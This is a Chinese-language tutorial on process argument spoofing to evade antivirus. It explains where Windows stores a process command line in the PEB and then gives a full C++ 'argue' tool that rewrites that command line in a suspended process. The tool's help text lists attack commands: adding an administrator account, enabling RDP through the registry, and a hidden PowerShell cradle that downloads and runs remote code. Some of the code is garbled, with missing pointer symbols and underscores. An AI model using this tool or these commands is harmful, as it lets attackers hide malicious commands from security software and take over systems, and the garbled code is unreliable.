进程参数欺骗原理
我们了解到利用argue进程参数欺骗可以在一定程度上绕过杀软拦截。它的原理是怎样的?
首先我们可以了解到,在一个进程运行后,它的运行参数是保存在进程空间的。如果我们获取到保存参数的进程内存地址,并将参数进行修改(修改并不影响原始的参数功能,因为在修改之前已经被启动了)那么就可以达到“欺骗”杀软,达到不被拦截的目的。至于参数保存在进程空间的哪里,如何去获取就是接下来要讨论的。
PEB进程环境块
PEB进程环境块中存放进程相关的一些信息,而我们需要的commandline就保存在PEB里。与PEB相对应的有TEB线程环境块。
如何获取PEB?
一般的,在NT x86系统下,利用FS:[x30]就可以指向PEB,FS寄存器指向TEB,可利用内联汇编方式获取:
__asm
{
mov eax,fs:[0x30]
mov PEB,eax
}
这种方法适用于在当前进程获取,如果要读取其他进程相关信息,就不是特别方便了。
可以利用NtQueryInformationProcess函数来获取。该函数是windows NTDLL.DLL中的未公开的API函数。 用它可以将指定类型的进程信息拷贝至某个缓冲区。
函数原型:
NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess (
IN HANDLE ProcessHandle, // 进程句柄
IN PROCESSINFOCLASS InformationClass, // 信息类型
OUT PVOID ProcessInformation, // 缓冲指针
IN ULONG ProcessInformationLength, // 以字节为单位的缓冲大小
OUT PULONG ReturnLength OPTIONAL // 写入缓冲的字节数
);
一般情况下,path,commandline 等信息存在PEB+0x20h的位置的_RTL_USER_PROCESS_PARAMETERS结构体内。(盗wbglil师傅的图) 其中ESI指向PEB
在_RTL_USER_PROCESS_PARAMETERS结构体中又指向_UNICODE_STRING结构体,这个结构体保存有commandline字符串信息。
0:001> dt _UNICODE_STRING 0x00000240`e4b220e0+0x60
ntdll!_UNICODE_STRING
"C:\Windows\system32\cmd.exe"
+0x000 Length : 0x36
+0x002 MaximumLength : 0x38
+0x008 Buffer : 0x00000240`e4b22728 "C:\Windows\system32\cmd.exe"
0:001> dt _UNICODE_STRING 0x00000240`e4b220e0+0x70
ntdll!_UNICODE_STRING
""C:\Windows\system32\cmd.exe" "
+0x000 Length : 0x3c
+0x002 MaximumLength : 0x3e
+0x008 Buffer : 0x00000240`e4b22760 ""C:\Windows\system32\cmd.exe" "
了解到commandline保存的位置之后,就可以利用NtQueryInformationProcess来一步步获取对应进程的commandline信息。
获取流程
-
创建一个挂起的进程
-
读取PEB内的_RTL_USER_PROCESS_PARAMETERS结构体
-
定位到commandline的buffer指针
-
修改buffer的存放的commandline
附上wbglil大佬的代码,比较全面了,这里做一下详细的注释:
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include<string>
using namespace std;
//声明,以便后续获取NtQueryInformationProcess函数地址时进行类型转换
typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
IN HANDLE ProcessHandle, //进程句柄
ULONG ProcessInformationClass, //信息类型
OUT PVOID ProcessInformation, //缓冲指针
IN ULONG ProcessInformationLength, //以字节为单位的缓冲大小
OUT PULONG ReturnLength OPTIONAL //写入缓冲的字节数
);
//读取目标进程空间,返回一个指针(地址)
void* readProcessMemory(HANDLE process, void address, DWORD bytes) {
//SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, NULL) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
//想目标进程空间写入数据
BOOL writeProcessMemory(HANDLE process, void address, void data, DWORD bytes) {
//SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, NULL) == 0) {
return false;
}
return true;
}
//字符串转宽字符
wstring charToWstring(const char* szIn)
{
int length = MultiByteToWideChar(CP_ACP, 0, szIn, -1, NULL, 0);
WCHAR* buf = new WCHAR[length + 1];
ZeroMemory(buf, (length + 1) * sizeof(WCHAR));
MultiByteToWideChar(CP_ACP, 0, szIn, -1, buf, length);
std::wstring strRet(buf);
delete[] buf;
return strRet;
}
int main(int argc, char** argv)
{
if (argc < 2) {
printf("Usage:argue.exe \"net1.exe xx\" \"net1.exe user admin /add\" \n");
printf("-h help");
return 1;
}
if (strcmp(argv[1], "-h") == 0)
{
printf("[+] \" Escape \\\" \n");
printf("[+] The length of parameter 1 must be greater than parameter 2.\n");
printf("[+] Common command: \n");
printf("argue.exe \"net1.exe xxxx\" \"net1.exe user admin pass /add\" \n");
printf("argue.exe \"net localgroup\" \"Administrators admin /add\" \n");
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -nop -c \\\"iex(New - Object Net.WebClient).DownloadString('http://xxx/')\\\" \" \n");
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -ExecutionPolicy bypass -windowstyle hidden -EncodedCommand Base64\" \n");
printf("argue.exe \"regedit.exe xx\" \"regedit.exe /s file.reg\" \n");
printf("argue.exe \"reg.exe xxx\" \"reg.exe add \\\"HKEYLOCALMACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f\" \n ");
return 1;
}
if (strlen(argv[1]) < strlen(argv[2]))
{
printf("[!] Error: Parameter 1 is less than parameter 2 \n");
return 1;
}
//声明一些需要的变量
STARTUPINFOA si;
PROCESS_INFORMATION pi;
BOOL success;
PROCESSBASICINFORMATION pbi;
PEB pebLocal;
RTLUSERPROCESSPARAMETERS parameters;
memset(&si, 0, sizeof(si));
si.wShowWindow = SW_HIDE;
memset(&pi, 0, sizeof(pi));
// 创建进程
success = CreateProcessA(
NULL,
argv[1],
NULL,
NULL,
FALSE,
CREATESUSPENDED | CREATENO_WINDOW,//以挂起状态启动进程
NULL,
//"C:\\Windows\\System32\\",
NULL,
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Unable to call CreateProcess to create process\n");
return 1;
}
//获取NtQueryInformationProcess函数地址
NtQueryInformationProcess ntpi = (NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
//利用获取到的NtQueryInformationProcess函数拷贝进程信息到pbi
ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
//利用获取到的进程信息读取进程空间,获取peb数据到pebLocal
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
if (success == FALSE)
{
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
return -1;
}
//从PEB获取ProcessParameters
parameters = (RTLUSERPROCESSPARAMETERS)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTLUSERPROCESS_PARAMETERS) + 300
);
//设置我们要使用的实际参数
wstring wspoofed = charToWstring(argv[2]);
WCHAR wcharwspoofed = (WCHAR)wspoofed.cstr();
//向进程PEB空间写入自己伪造的进程参数
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void)wcharwspoofed, wcslen(wcharwspoofed) 2 + 1);
if (success == FALSE) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
return 1;
}
//更新命令行长度欺骗进程浏览器
DWORD newUnicodeLen = 5;
success = WriteProcessMemory(
pi.hProcess,
(char)pebLocal.ProcessParameters + offsetof(RTLUSERPROCESSPARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen, 4, NULL);
if (success == FALSE) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
return 1;
}
//恢复挂起的进程,进程参数欺骗完成
ResumeThread(pi.hThread);
}